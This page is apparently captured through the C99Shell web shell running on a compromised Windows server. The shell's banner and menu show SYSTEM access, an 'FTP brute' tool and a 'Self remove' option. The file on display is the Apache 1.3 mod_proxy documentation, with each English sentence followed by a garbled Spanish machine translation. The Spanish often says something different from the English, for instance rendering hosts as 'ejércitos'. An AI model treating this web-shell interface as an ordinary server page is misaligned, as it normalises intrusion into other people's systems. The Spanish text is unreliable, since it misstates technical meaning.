!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

E:\xampp\xampp\apache\logs\Fabian\ApachePruebas\Textos\   drwxrwxrwx
Free 1.01 GB of 239.26 GB (0.42%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     translate_c.htm (258.26 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Módulo de Apache mod_proxy
APACHE [Documentación]

Apache HTTP Server Version 1.3 Servidor Apache HTTP versión 1.3

You are looking at the documentation for the 1.3 version of the Apache HTTP Server, which is no longer maintained, and has been declared "end of life". Usted está viendo la documentación de la versión 1.3 del Servidor HTTP Apache, que ya no se mantiene, y ha sido declarado "fin de la vida". If you are in fact still using the 1.3 version, please consider upgrading. The current version of the server is 2.2 . This document may be available in the 2.2 docs. Si usted es, de hecho, todavía utiliza la versión 1.3, por favor considere la actualización. La versión actual del servidor es 2.2 . Este documento puede estar disponible en el 2.2 docs.

Apache module mod_proxy Módulo de Apache mod_proxy

This module provides for an HTTP 1.1 caching proxy server. Este módulo proporciona un servidor proxy HTTP 1,1 almacenamiento en caché.

Status: Extension Estado: Extensión
Source File: mod_proxy.c Archivo de origen: mod_proxy.c
Module Identifier: proxy_module Módulo Identifier: proxy_module
Compatibility: Available in Apache 1.1 and later. Compatibilidad: Disponible en Apache 1.1 y posteriores.

Summary Resumen

This module implements a proxy/cache for Apache. Este módulo implementa un proxy / cache para Apache. It implements proxying capability for FTP , CONNECT (for SSL), HTTP/0.9 , HTTP/1.0 , and (as of Apache 1.3.23) HTTP/1.1 . The module can be configured to connect to other proxy modules for these and other protocols. Aplica la capacidad de proxy FTP , CONNECT (con SSL), HTTP/0.9 , HTTP/1.0 , y (como de Apache 1.3.23) HTTP/1.1 . El módulo se puede configurar para conectarse a los módulos de representación con estos y otros protocolos .

This module was experimental in Apache 1.1.x. Este módulo era experimental en Apache 1.1.x. As of Apache 1.2, mod_proxy stability is greatly improved. A partir de Apache 1.2, la estabilidad mod_proxy está muy mejorado.

Warning: Do not enable proxying with ProxyRequests until you have secured your server . Advertencia: No permitir que el proxy con ProxyRequests hasta que haya asegurado su servidor . Open proxy servers are dangerous both to your network and to the Internet at large. los servidores proxy abiertos son peligrosos tanto para la red ya Internet en general.

Directives Directivas

Common configuration topics configuración de temas comunes

Forward and Reverse Proxies Adelantar o retroceder la Proxies

Apache can be configured in both a forward and reverse proxy mode. Apache puede ser configurado tanto en un avance y retroceso modo de proxy.

An ordinary forward proxy is an intermediate server that sits between the client and the origin server . Un proxy adelante ordinaria es un servidor intermedio que se pone entre el cliente y el servidor de origen. In order to get content from the origin server, the client sends a request to the proxy naming the origin server as the target and the proxy then requests the content from the origin server and returns it to the client. Con el fin de obtener el contenido del servidor de origen, el cliente envía una solicitud al proxy de nombres del servidor de origen como el destino y el proxy se pide al contenido del servidor de origen y la devuelve al cliente. The client must be specially configured to use the forward proxy to access other sites. El cliente debe estar especialmente configurado para utilizar el proxy con interés acceder a otros sitios.

A typical usage of a forward proxy is to provide Internet access to internal clients that are otherwise restricted by a firewall. Un uso típico de un proxy de avanzar es proporcionar acceso a Internet a los clientes internos que están restringidas por un servidor de seguridad. The forward proxy can also use caching to reduce network usage. El proxy presentadas también pueden utilizar el almacenamiento en caché para reducir el uso de la red.

The forward proxy is activated using the ProxyRequests directive. Because forward proxys allow clients to access arbitrary sites through your server and to hide their true origin, it is essential that you secure your server so that only authorized clients can access the proxy before activating a forward proxy. El proxy de avanzar es activado mediante la ProxyRequests Directiva. proxys Porque adelante permitirá a los clientes para acceder a sitios arbitrario a través de su servidor y para ocultar su verdadero origen, es esencial que la seguridad del servidor de manera que sólo los clientes autorizados pueden tener acceso al proxy antes de activar un delantero proxy.

A reverse proxy , by contrast, appears to the client just like an ordinary web server. Un proxy inverso, por el contrario, se presenta al cliente como un servidor web normal. No special configuration on the client is necessary. Sin configuración especial en el cliente es necesario. The client makes ordinary requests for content in the name-space of the reverse proxy. El cliente realiza solicitudes ordinarias de contenido en el espacio de nombres del proxy inverso. The reverse proxy then decides where to send those requests, and returns the content as if it was itself the origin. El proxy inverso decide a dónde enviar las peticiones y devuelve el contenido como si fuera el auténtico origen.

A typical usage of a reverse proxy is to provide Internet users access to a server that is behind a firewall. Un uso típico de un proxy inverso es proporcionar a los usuarios de Internet acceden a un servidor que está detrás de un firewall. Reverse proxies can also be used to balance load among several back-end servers, or to provide caching for a slower back-end server. In addition, reverse proxies can be used simply to bring several servers into the same URL space. Reverso proxies también pueden utilizarse para equilibrar la carga entre los servidores back-end varias, o para proporcionar almacenamiento en caché de un servidor back-end más lento. Además, los servidores proxy inverso puede utilizarse simplemente para traer varios servidores en el mismo espacio de dirección.

A reverse proxy is activated using the ProxyPass directive or the [P] flag to the RewriteRule directive. Un proxy inverso se activa mediante la ProxyPass directiva o el [P] del pabellón de la RewriteRule Directiva. It is not necessary to turn ProxyRequests on in order to configure a reverse proxy. No es necesario girar ProxyRequests en el fin de configurar un proxy inverso.

Basic Examples Ejemplos básicos

The examples below are only a very basic idea to help you get started. Los ejemplos siguientes son sólo una idea muy básica para ayudarle a empezar. Please read the documentation on the individual directives. Por favor, lea la documentación sobre las distintas directivas.

Forward Proxy Adelante Proxy

ProxyRequests On
ProxyVia On

<Directory proxy:*>
Order deny,allow
Deny from all
Allow from internal.example.com
</Directory>

CacheRoot "/usr/local/apache/proxy"
CacheSize 5
CacheGcInterval 4
CacheMaxExpire 24
CacheLastModifiedFactor 0.1
CacheDefaultExpire 1
NoCache a-domain.com another-domain.edu joes.garage-sale.com

Reverse Proxy Proxy inverso

ProxyRequests Off

ProxyPass /foo http://foo.example.com/bar
ProxyPassReverse /foo http://foo.example.com/bar

Controlling access to your proxy Control del acceso a su apoderado

You can control who can access your proxy via the normal <Directory> control block using the following example: Usted puede controlar quién puede acceder a su proxy a través del bloque <Directory> control normal con el ejemplo siguiente:
<Directory proxy:*> <Directory Proxy:*>
Order Deny,Allow Orden Denegar, Permitir
Deny from all Denegar de todos los
Allow from yournetwork.example.com Deje de yournetwork.example.com
</Directory> </> Directorio

A <Files> block will also work, and is the only method known to work for all possible URLs in Apache versions earlier than 1.2b10. Un bloque <Files> también funcionarán, y es el único método conocido para trabajar en todas las URL es posible en las versiones de Apache anteriores a 1.2b10.

For more information, see mod_access . Para obtener más información, vea mod_access .

Strictly limiting access is essential if you are using a forward proxy (using the ProxyRequests directive). Otherwise, your server can be used by any client to access arbitrary hosts while hiding his or her true identity. En sentido estricto la limitación del acceso es esencial si usted está usando un proxy hacia adelante (utilizando el ProxyRequests Directiva). De lo contrario, el servidor puede ser utilizado por cualquier cliente de acceso a host arbitrario al tiempo que oculta su verdadera identidad. This is dangerous both for your network and for the Internet at large. When using a reverse proxy (using the ProxyPass directive with ProxyRequests Off ), access control is less critical because clients can only contact the hosts that you have specifically configured. Esto es peligroso tanto para su red y de Internet en general. Si se utiliza un proxy inverso (utilizando el ProxyPass directiva con ProxyRequests Off ), control de acceso no es tan importante porque los clientes sólo pueden comunicarse con el host que ha configurado específicamente.

Using Netscape hostname shortcuts Uso de métodos abreviados de nombre de host Netscape

There is an optional patch to the proxy module to allow Netscape-like hostname shortcuts to be used. Hay un parche opcional para el módulo de proxy para permitir accesos directos como nombre de máquina-Netscape para ser utilizado. It's available from the contrib/patches/1.2 directory on the Apache Web site. Se puede descargar desde la contrib/patches/1.2 directorio en el sitio Web de Apache.

Why doesn't file type xxx download via FTP? ¿Por qué no descarga de archivos vía FTP xxx tipo?

You probably don't have that particular file type defined as application/octet-stream in your proxy's mime.types configuration file. Usted probablemente no tiene ese tipo de archivo particular, definido como la aplicación / octet-stream en proxy mime.types su archivo de configuración. A useful line can be Una línea puede ser útil
application/octet-stream        bin dms lha lzh exe class tgz taz application / dms bin flujo octet-lha lzh clase exe tgz taz

How can I force an FTP ASCII download of File xxx ? ¿Cómo puedo forzar una descarga FTP ASCII de xxx de archivos?

In the rare situation where you must download a specific file using the FTP ASCII transfer method (while the default transfer is in binary mode), you can override mod_proxy's default by suffixing the request with ;type=a to force an ASCII transfer. (FTP Directory listings are always executed in ASCII mode, however.) En la rara situación en que se debe descargar un archivo específico utilizando el ASCII método de transferencia de FTP (mientras que la transferencia por defecto es en modo binario), puede reemplazar por defecto mod_proxy por sufijación la solicitud con, tipo = a forzar una transferencia ASCII. (FTP Las listas de directorios se ejecuta siempre en modo ASCII, sin embargo.)

How can I access FTP files outside of my home directory? ¿Cómo puedo acceder a FTP archivos fuera del directorio de mi casa?

A FTP URI is interpreted relative to the home directory of the user who is logging in. Alas, to reach higher directory levels you cannot use /../, as the dots are interpreted by the browser and not actually sent to the FTP server. Un URI FTP se interpreta en relación con el directorio home del usuario que inicia sesión pulg Por desgracia, alcanzar mayores niveles de directorio no se puede utilizar como /../, los puntos son interpretados por el navegador y en realidad no se envía al servidor FTP. To address this problem, the so called "Squid %2f hack" was implemented in the Apache FTP proxy; it is a solution which is also used by other popular proxy servers like the Squid Proxy Cache . By prepending /%2f to the path of your request, you can make such a proxy change the FTP starting directory to / (instead of the home directory). Para solucionar este problema, el llamado "% 2f Squid hack" se implementó en el FTP proxy Apache, es una solución que también es utilizado por otros servidores proxy populares como el Proxy Cache Squid . anteponiendo / 2f% al camino de la su petición, usted puede hacer un cambio de proxy FTP de partida el directorio a / (en lugar del directorio de inicio).
Example: To retrieve the file /etc/motd , you would use the URL Ejemplo: Para recuperar el archivo /etc/motd , debería utilizar la dirección

ftp:// user@host /%2f/etc/motd

How can I hide the FTP cleartext password in my browser's URL line? ¿Cómo puedo ocultar la contraseña sin cifrar FTP en línea de URL de mi navegador?

To log in to an FTP server by username and password, Apache uses different strategies. In absense of a user name and password in the URL altogether, Apache sends an anonymous login to the FTP server, ie, Para acceder a un servidor FTP por nombre de usuario y contraseña, que usa Apache diferentes estrategias. En ausencia de un nombre de usuario y contraseña en la dirección por completo, Apache envía un inicio de sesión anónimo al servidor FTP, es decir,

user: anonymous
password: apache_proxy@
This works for all popular FTP servers which are configured for anonymous access. Esto funciona para todos los populares servidores de FTP que se han configurado para el acceso anónimo.
For a personal login with a specific username, you can embed the user name into the URL, like in: ftp:// username@host /myfile . Para una conexión personal con un nombre específico, puede integrar el nombre de usuario en la URL, como en: ftp:// username@host /myfile . If the FTP server asks for a password when given this username (which it should), then Apache will reply with a [401 Authorization required] response, which causes the Browser to pop up the username/password dialog. Upon entering the password, the connection attempt is retried, and if successful, the requested resource is presented. The advantage of this procedure is that your browser does not display the password in cleartext (which it would if you had used ftp:// username:password@host /myfile in the first place). Si el servidor FTP le pide una contraseña cuando se le da este nombre de usuario (que debe), entonces Apache responderá con un [401 Autorización necesaria respuesta], que hace que el navegador para que aparezca el nombre de usuario / contraseña de diálogo. Al entrar la contraseña, el intento de conexión se vuelve a intentar, y si tiene éxito, el recurso solicitado se presenta. La ventaja de este procedimiento es que su navegador no muestra la contraseña en texto plano (lo que ocurriría si se hubiera usado ftp:// username:password@host /myfile en primer lugar).
Note that the password which is transmitted in such a way is not encrypted on its way. Tenga en cuenta que la contraseña que se transmite de tal manera no se cifra en su camino. It travels between your browser and the Apache proxy server in a base64-encoded cleartext string, and between the Apache proxy and the FTP server as plaintext. Viaja entre el navegador y el servidor proxy Apache en una cadena de texto sin formato codificado base64-, y entre el proxy de Apache y el servidor FTP como texto plano. You should therefore think twice before accessing your FTP server via HTTP (or before accessing your personal files via FTP at all!) When using unsecure channels, an eavesdropper might intercept your password on its way. Por lo tanto, deberían pensar dos veces antes de acceder a su servidor FTP a través de HTTP (o antes de acceder a sus archivos personales a través de FTP en absoluto!) Al utilizar los canales no seguros, un espía podría interceptar su contraseña en su camino.

Why does Apache start more slowly when using the proxy module? ¿Por qué Apache comenzar más lentamente cuando se utiliza el módulo de proxy?

If you're using the ProxyBlock or NoCache directives, hostnames' IP addresses are looked up and cached during startup for later match test. Si usted está utilizando el ProxyBlock o NoCache directivas, "las direcciones IP nombres de host se alzó la vista y en caché durante el inicio del partido de prueba para más adelante. This may take a few seconds (or more) depending on the speed with which the hostname lookups occur. Esto puede tomar algunos segundos (o más) dependiendo de la velocidad con la que las búsquedas de nombre de host ocurrir.

Can I use the Apache proxy module with my SOCKS proxy? ¿Puedo utilizar el módulo de proxy Apache con mi proxy SOCKS?

Yes. Sí. Just build Apache with the rule SOCKS4=yes in your Configuration file, and follow the instructions there. Sólo la construcción de Apache con el Estado SOCKS4=yes en el archivo de configuración y siga las instrucciones indicadas. SOCKS5 capability can be added in a similar way (there's no SOCKS5 rule yet), so use the EXTRA_LDFLAGS definition, or build Apache normally and run it with the runsocks wrapper provided with SOCKS5, if your OS supports dynamically linked libraries. capacidad de SOCKS5 se pueden añadir de forma similar (no hay SOCKS5 norma todavía), así que utilice el EXTRA_LDFLAGS definición, o construir Apache normalmente y debe ejecutarse con la runsocks contenedor provisto de SOCKS5, si su sistema operativo soporta dinámicamente vinculados colecciones.

Some users have reported problems when using SOCKS version 4.2 on Solaris. Algunos usuarios han informado de problemas al usar SOCKS versión 4.2 en Solaris. The problem was solved by upgrading to SOCKS 4.3. El problema fue resuelto mediante la actualización a SOCKS 4,3.

Remember that you'll also have to grant access to your Apache proxy machine by permitting connections on the appropriate ports in your SOCKS daemon's configuration. Recuerde que usted también tendrá que dar acceso a su máquina proxy Apache, al permitir conexiones en los puertos adecuados en SOCKS de configuración de su demonio.

What other functions are useful for an intranet proxy server? ¿Qué otras funciones son útiles para un servidor proxy intranet?

An Apache proxy server situated in an intranet needs to forward external requests through the company's firewall (for this, configure the ProxyRemote directive to forward the respective scheme to the firewall proxy). However, when it has to access resources within the intranet, it can bypass the firewall when accessing hosts. Un servidor proxy Apache situado en una intranet debe externos reenviar solicitudes a través de la empresa el servidor de seguridad (para ello, configure la ProxyRemote Directiva que transmita el régimen respectivo al proxy firewall). Sin embargo, cuando tiene que acceder a los recursos dentro de la intranet, se puede eludir el firewall cuando el acceso a los ejércitos. The NoProxy directive is useful for specifying which hosts belong to the intranet and should be accessed directly. El NoProxy directiva es útil para especificar que alberga pertenecen a la intranet y se debe acceder directamente.

Users within an intranet tend to omit the local domain name from their WWW requests, thus requesting "http://somehost/" instead of "http://somehost.my.dom.ain/". Los usuarios dentro de una intranet tienden a omitir el nombre de dominio local de sus peticiones de WWW, por lo tanto su interés "http://somehost/" en lugar de "http://somehost.my.dom.ain/". Some commercial proxy servers let them get away with this and simply serve the request, implying a configured local domain. Algunos servidores proxy comerciales dejarlos salirse con la suya y simplemente atender la solicitud, lo que implica un dominio local configurado. When the ProxyDomain directive is used and the server is configured for proxy service , Apache can return a redirect response and send the client to the correct, fully qualified, server address. Cuando el ProxyDomain se usa la directiva y el servidor está configurado para el servicio de proxy , Apache puede devolver una respuesta de redirección y enviar al cliente a la correcta, completa, dirección del servidor. This is the preferred method since the user's bookmark files will then contain fully qualified hosts. Este es el método preferido desde los archivos de usuario del marcador contendrá entonces calificados acoge plenamente.


ProxyRequests directive ProxyRequests Directiva

Syntax: ProxyRequests on|off Sintaxis: ProxyRequests on | off
Default: ProxyRequests Off Por defecto: ProxyRequests Off
Context: server config, virtual host Contexto: server config, virtual host
Override: Not applicable Anulación: No aplicable
Status: Base Estado: Base
Module: mod_proxy Módulo: mod_proxy
Compatibility: ProxyRequests is only available in Apache 1.1 and later. Compatibilidad: ProxyRequests sólo está disponible en Apache 1.1 y posteriores.

This allows or prevents Apache from functioning as a forward proxy server. Esto permite o impide el Apache de funcionar como un servidor proxy adelante. Setting ProxyRequests to 'off' does not disable use of the ProxyPass directive. Configuración ProxyRequests en 'off' se deshabilitar el uso no de la ProxyPass Directiva.

Warning: Do not enable proxying until you have secured your server . Advertencia: No permitir que el proxy hasta que haya asegurado su servidor . Open proxy servers are dangerous both to your network and to the Internet at large. los servidores proxy abiertos son peligrosos tanto para la red ya Internet en general.


ProxyRemote directive ProxyRemote Directiva

Syntax: ProxyRemote match remote-server Sintaxis: ProxyRemote partido de servidor-remoto
Default: None Por defecto: Ninguno
Context: server config, virtual host Contexto: server config, virtual host
Override: Not applicable Anulación: No aplicable
Status: Base Estado: Base
Module: mod_proxy Módulo: mod_proxy
Compatibility: ProxyRemote is only available in Apache 1.1 and later. Compatibilidad: ProxyRemote sólo está disponible en Apache 1.1 y posteriores.

This defines remote proxies to this proxy. match is either the name of a URL-scheme that the remote server supports, or a partial URL for which the remote server should be used, or '*' to indicate the server should be contacted for all requests. remote-server is a partial URL for the remote server. Esto define proxies a distancia para este proxy. Partido es el nombre de una URL-que admite el sistema de servidor remoto, o una URL parcial para que el servidor se debe utilizar el mando a distancia, o '*' para indicar que el servidor debe ser contactado para todos peticiones. remoto del servidor es una dirección URL parcial para el servidor remoto. Syntax: Sintaxis:

  remote-server = protocol://hostname[:port] servidor-remoto = protocolo: / / hostname [: puerto]
protocol is the protocol that should be used to communicate with the remote server; only "http" is supported by this module. protocolo es el protocolo que se debe usar para comunicarse con el servidor remoto, sólo "http" es compatible con este módulo.

Example: Ejemplo:

  ProxyRemote http://goodguys.com/ http://mirrorguys.com:8000 ProxyRemote http://goodguys.com/ http://mirrorguys.com:8000
  ProxyRemote * http://cleversite.com * ProxyRemote http://cleversite.com
  ProxyRemote ftp http://ftpproxy.mydomain.com:8080 ProxyRemote ftp http://ftpproxy.mydomain.com:8080
In the last example, the proxy will forward FTP requests, encapsulated as yet another HTTP proxy request, to another proxy which can handle them. En el último ejemplo, el proxy enviará peticiones FTP, encapsulado como otra solicitud de proxy HTTP, a otro poder que se puede manejar.

ProxyPass directive ProxyPass Directiva

Syntax: ProxyPass path url Sintaxis: ruta URL ProxyPass
Default: None Por defecto: Ninguno
Context: server config, virtual host Contexto: server config, virtual host
Override: Not applicable Anulación: No aplicable
Status: Base Estado: Base
Module: mod_proxy Módulo: mod_proxy
Compatibility: ProxyPass is only available in Apache 1.1 and later. Compatibilidad: ProxyPass sólo está disponible en Apache 1.1 y posteriores.

This directive allows remote servers to be mapped into the space of the local server; the local server does not act as a proxy in the conventional sense, but appears to be a mirror of the remote server. path is the name of a local virtual path; url is a partial URL for the remote server. Esta directiva permite a los servidores remotos a ser identificado en el espacio del servidor local, el servidor local no actúa como un proxy en el sentido convencional, sino que parece ser un espejo del servidor remoto. Ruta de acceso es el nombre de una ruta de acceso virtual local ; url es una direccion URL del servidor remoto.

Suppose the local server has address http://wibble.org/ ; then Supongamos que el servidor local tiene http://wibble.org/ dirección, a continuación,

   ProxyPass /mirror/foo/ http://foo.com/ ProxyPass / mirror / foo / http://foo.com/

will cause a local request for the < http://wibble.org/mirror/foo/bar > to be internally converted into a proxy request to < http://foo.com/bar >. causará un pedido local para http://wibble.org/mirror/foo/bar> <para ser internamente convertida en una solicitud de proxy a <> http://foo.com/bar.

Warning: The ProxyRequests directive should usually be set off when using ProxyPass . Advertencia: El ProxyRequests Directiva por lo general se compensara al utilizar ProxyPass .


ProxyPassReverse directive ProxyPassReverse directiva

Syntax: ProxyPassReverse path url Sintaxis: url ruta ProxyPassReverse
Default: None Por defecto: Ninguno
Context: server config, virtual host Contexto: server config, virtual host
Override: Not applicable Anulación: No aplicable
Status: Base Estado: Base
Module: mod_proxy Módulo: mod_proxy
Compatibility: ProxyPassReverse is only available in Apache 1.3b6 and later. Compatibilidad: ProxyPassReverse sólo está disponible en Apache 1.3b6 y versiones posteriores.

This directive lets Apache adjust the URL in the Location header on HTTP redirect responses. Esta directiva permite Apache ajustar la dirección en la cabecera HTTP respuestas Ubicación en el redireccionamiento. For instance this is essential when Apache is used as a reverse proxy to avoid by-passing the reverse proxy because of HTTP redirects on the backend servers which stay behind the reverse proxy. Por ejemplo, este es esencial cuando se utiliza Apache como proxy inverso para evitar pasar por el proxy inverso, debido a redirecciones HTTP en los servidores back-end que se quedan detrás del proxy inverso.

path is the name of a local virtual path. ruta de acceso es el nombre de la direccion local virtual.
url is a partial URL for the remote server - the same way they are used for the ProxyPass directive. url es la direccion URL del servidor remoto - de la misma manera que se utilicen para la directiva ProxyPass.

Example: Ejemplo:
Suppose the local server has address http://wibble.org/ ; then Supongamos que el servidor local tiene http://wibble.org/ dirección, a continuación,

   ProxyPass         /mirror/foo/ http://foo.com/ ProxyPass / mirror / foo / http://foo.com/
   ProxyPassReverse  /mirror/foo/ http://foo.com/ ProxyPassReverse / mirror / foo / http://foo.com/
will not only cause a local request for the < http://wibble.org/mirror/foo/bar > to be internally converted into a proxy request to < http://foo.com/bar > (the functionality ProxyPass provides here). no sólo causan un pedido local para http://wibble.org/mirror/foo/bar> <para ser internamente convertida en una solicitud de proxy a <> http://foo.com/bar (proporciona la funcionalidad ProxyPass aquí ). It also takes care of redirects the server foo.com sends: when http://foo.com/bar is redirected by him to http://foo.com/quux Apache adjusts this to http://wibble.org/mirror/foo/quux before forwarding the HTTP redirect response to the client. También se encarga de redirigir la foo.com servidor envía: cuando se redirige http://foo.com/bar por él a http://foo.com/quux Apache se adapta a este http://wibble.org/mirror / foo / quux antes de reenviar la redirección de respuesta HTTP al cliente.

Note that this ProxyPassReverse directive can also be used in conjunction with the proxy pass-through feature (" RewriteRule ... [P] ") from mod_rewrite because its doesn't depend on a corresponding ProxyPass directive. Tenga en cuenta que esta directiva ProxyPassReverse también se puede utilizar en conjunción con el proxy de paso a través de la función ("RewriteRule ... [P]") de mod_rewrite porque su no depende de una directiva de ProxyPass.


AllowCONNECT directive AllowCONNECT Directiva

Syntax: AllowCONNECT port [ port ] ... Sintaxis: AllowCONNECT puerto puerto] [...
Default: AllowCONNECT 443 563 Por defecto: 443 563 AllowCONNECT
Context: server config, virtual host Contexto: server config, virtual host
Override: Not applicable Anulación: No aplicable
Status: Base Estado: Base
Module: mod_proxy Módulo: mod_proxy
Compatibility: AllowCONNECT is only available in Apache 1.3.2 and later. Compatibilidad: AllowCONNECT sólo está disponible en Apache 1.3.2 y versiones posteriores.

The AllowCONNECT directive specifies a list of port numbers to which the proxy CONNECT method may connect. La directiva AllowCONNECT especifica una lista de números de puertos a los que el método CONNECT proxy puede conectarse. Today's browsers use this method when a https connection is requested and proxy tunneling over http is in effect. Hoy en día los navegadores utilizar este método cuando una conexión https y proxy se solicita a través de HTTP túnel está en vigor.
By default, only the default https port (443) and the default snews port (563) are enabled. De forma predeterminada, sólo el puerto por defecto https (443) y el puerto por defecto SNEWS (563) están habilitadas. Use the AllowCONNECT directive to override this default and allow connections to the listed ports only. Utilice la directiva AllowCONNECT para reemplazar este valor predeterminado y permite conexiones a los puertos mencionados solamente.


ProxyBlock directive ProxyBlock Directiva

Syntax: ProxyBlock *| word|host|domain [ word|host|domain ] ... Sintaxis: ProxyBlock * | palabra | acogida | dominio [palabra | acogida | dominio] ...
Default: None Por defecto: Ninguno
Context: server config, virtual host Contexto: server config, virtual host
Override: Not applicable Anulación: No aplicable
Status: Base Estado: Base
Module: mod_proxy Módulo: mod_proxy
Compatibility: ProxyBlock is only available in Apache 1.2 and later. Compatibilidad: ProxyBlock está solamente disponible en Apache 1.2 y posteriores.

The ProxyBlock directive specifies a list of words, hosts and/or domains, separated by spaces. La directiva ProxyBlock especifica una lista de palabras, los hosts y / o dominios, separados por espacios. HTTP, HTTPS, and FTP document requests to sites whose names contain matched words, hosts or domains are blocked by the proxy server. HTTP, HTTPS, FTP y el documento de peticiones a los sitios cuyos nombres contengan equiparó las palabras, los hosts o dominios quedan bloqueados por el servidor proxy. The proxy module will also attempt to determine IP addresses of list items which may be hostnames during startup, and cache them for match test as well. El módulo de proxy también intentará determinar las direcciones IP de los elementos de la lista que pueden ser nombres de equipo durante el inicio y la caché de los partido de prueba así. Example: Ejemplo:

  ProxyBlock joes-garage.com some-host.co.uk rocky.wotsamattau.edu ProxyBlock Joes-garage.com algunos host.co.uk-rocky.wotsamattau.edu
'rocky.wotsamattau.edu' would also be matched if referenced by IP address. "Rocky.wotsamattau.edu 'también ir acompañada, si se hace referencia por su dirección IP.

Note that 'wotsamattau' would also be sufficient to match 'wotsamattau.edu'. Tenga en cuenta que 'wotsamattau "también sería suficiente para que coincida con' wotsamattau.edu.

Note also that Tenga en cuenta que

ProxyBlock * ProxyBlock *
blocks connections to all sites. bloquee las conexiones a todos los sitios.

ProxyReceiveBufferSize directive ProxyReceiveBufferSize Directiva

Syntax: ProxyReceiveBufferSize bytes Sintaxis: bytes ProxyReceiveBufferSize
Default: None Por defecto: Ninguno
Context: server config, virtual host Contexto: server config, virtual host
Override: Not applicable Anulación: No aplicable
Status: Base Estado: Base
Module: mod_proxy Módulo: mod_proxy
Compatibility: ProxyReceiveBufferSize is only available in Apache 1.3 and later. Compatibilidad: ProxyReceiveBufferSize sólo está disponible en Apache 1.3 y posteriores.

The ProxyReceiveBufferSize directive specifies an explicit network buffer size for outgoing HTTP and FTP connections, for increased throughput. La directiva especifica ProxyReceiveBufferSize un tamaño de la red de búfer de salida explícitas para las conexiones HTTP y FTP, para un mayor rendimiento. It has to be greater than 512 or set to 0 to indicate that the system's default buffer size should be used. Tiene que ser superior a los 512 o el valor 0 para indicar que el sistema por defecto el tamaño del buffer debe ser utilizado.

Example: Ejemplo:

  ProxyReceiveBufferSize 2048 ProxyReceiveBufferSize 2048

ProxyIOBufferSize directive ProxyIOBufferSize Directiva

Syntax: ProxyIOBufferSize bytes Sintaxis: bytes ProxyIOBufferSize
Default: 8192 Por defecto: 8192
Context: server config, virtual host Contexto: server config, virtual host
Override: Not applicable Anulación: No aplicable
Status: Base Estado: Base
Module: mod_proxy Módulo: mod_proxy
Compatibility: ProxyIOBufferSize is only available in Apache 1.3.24 and later. Compatibilidad: ProxyIOBufferSize sólo está disponible en Apache 1.3.24 y posteriores.

The ProxyIOBufferSize directive specifies the number of bytes that will be read from a remote HTTP or FTP server at one time. This directive is different from the ProxyReceiveBufferSize directive, which specifies the low level socket buffer size. La directiva ProxyIOBufferSize especifica el número de bytes que se leen de un remoto servidor HTTP o FTP a la vez. Esta directiva es distinta de la Directiva ProxyReceiveBufferSize, que especifica el nivel de los conectores de bajo tamaño de búfer.

When a response is received which fits entirely within the IO buffer size, the remote HTTP or FTP server socket will be closed before an attempt is made to write the response to the client. This ensures that the remote server does not remain connected unnecessarily while the response is delivered to a slow client. A high value for the IO buffer decreases the load on remote HTTP and FTP servers, at the expense of greater RAM footprint on the proxy. Cuando se recibe una respuesta que encaja totalmente en el tamaño de búfer de E / S, el control remoto HTTP o FTP servidor de socket se cerrará antes se realiza un intento de escribir la respuesta al cliente. Esto garantiza que el servidor remoto no permanecer conectado innecesariamente, mientras que el la respuesta se entrega a un cliente lento. Un valor alto para el búfer de E / S reduce la carga en el control remoto HTTP y FTP, a expensas de la huella de memoria RAM mayor en el proxy.

Example: Ejemplo:

  ProxyIOBufferSize 131072 ProxyIOBufferSize 131072

NoProxy directive NoProxy Directiva

Syntax: NoProxy Domain | SubNet | IpAddr | Hostname [ Domain | SubNet | IpAddr | Hostname ] ... Sintaxis: NoProxy dominio | subred | IPADDR | Nombre de la máquina [ de dominio | subred | IPADDR | Nombre de la máquina ] ...
Default: None Por defecto: Ninguno
Context: server config, virtual host Contexto: server config, virtual host
Override: Not applicable Anulación: No aplicable
Status: Base Estado: Base
Module: mod_proxy Módulo: mod_proxy
Compatibility: NoProxy is only available in Apache 1.3 and later. Compatibilidad: NoProxy sólo está disponible en Apache 1.3 y posteriores.

This directive is only useful for Apache proxy servers within intranets. Esta directiva sólo es útil para servidores proxy Apache en las intranets. The NoProxy directive specifies a list of subnets, IP addresses, hosts and/or domains, separated by spaces. La directiva NoProxy especifica una lista de subredes, direcciones IP, hosts y / o dominios, separados por espacios. A request to a host which matches one or more of these is always served directly, without forwarding to the configured ProxyRemote proxy server(s). Una petición a un host que coincide con uno o más de estos siempre se sirve directamente, sin remitir a la del servidor proxy configurado ProxyRemote (s).

Example: Ejemplo:

  ProxyRemote  *  http://firewall.mycompany.com:81 * ProxyRemote http://firewall.mycompany.com:81
  NoProxy         .mycompany.com 192.168.112.0/21 NoProxy. 192.168.112.0/21 mycompany.com 
The arguments to the NoProxy directive are one of the following type list: Los argumentos de la directiva NoProxy son uno de la lista siguiente tipo:
Domain Dominio
A Domain is a partially qualified DNS domain name, preceded by a period. Un dominio es un nombre de dominio DNS parcialmente cualificado, precedido por un punto. It represents a list of hosts which logically belong to the same DNS domain or zone ( ie , the suffixes of the hostnames are all ending in Domain ). Representa una lista de los ejércitos que, lógicamente, pertenecen al mismo dominio DNS o de la zona (es decir, los sufijos de los nombres de host son todos los que terminan en dominio).
Examples: .com .apache.org. Ejemplos:. Com. Apache.org.
To distinguish Domain s from Hostname s (both syntactically and semantically; a DNS domain can have a DNS A record, too!), Domain s are always written with a leading period. Para distinguir s de dominio de nombre de host s (tanto sintáctica y semánticamente, un dominio absoluto de DNS puede tener un DNS un registro, también!), Dominio s siempre se escriben con un punto inicial.
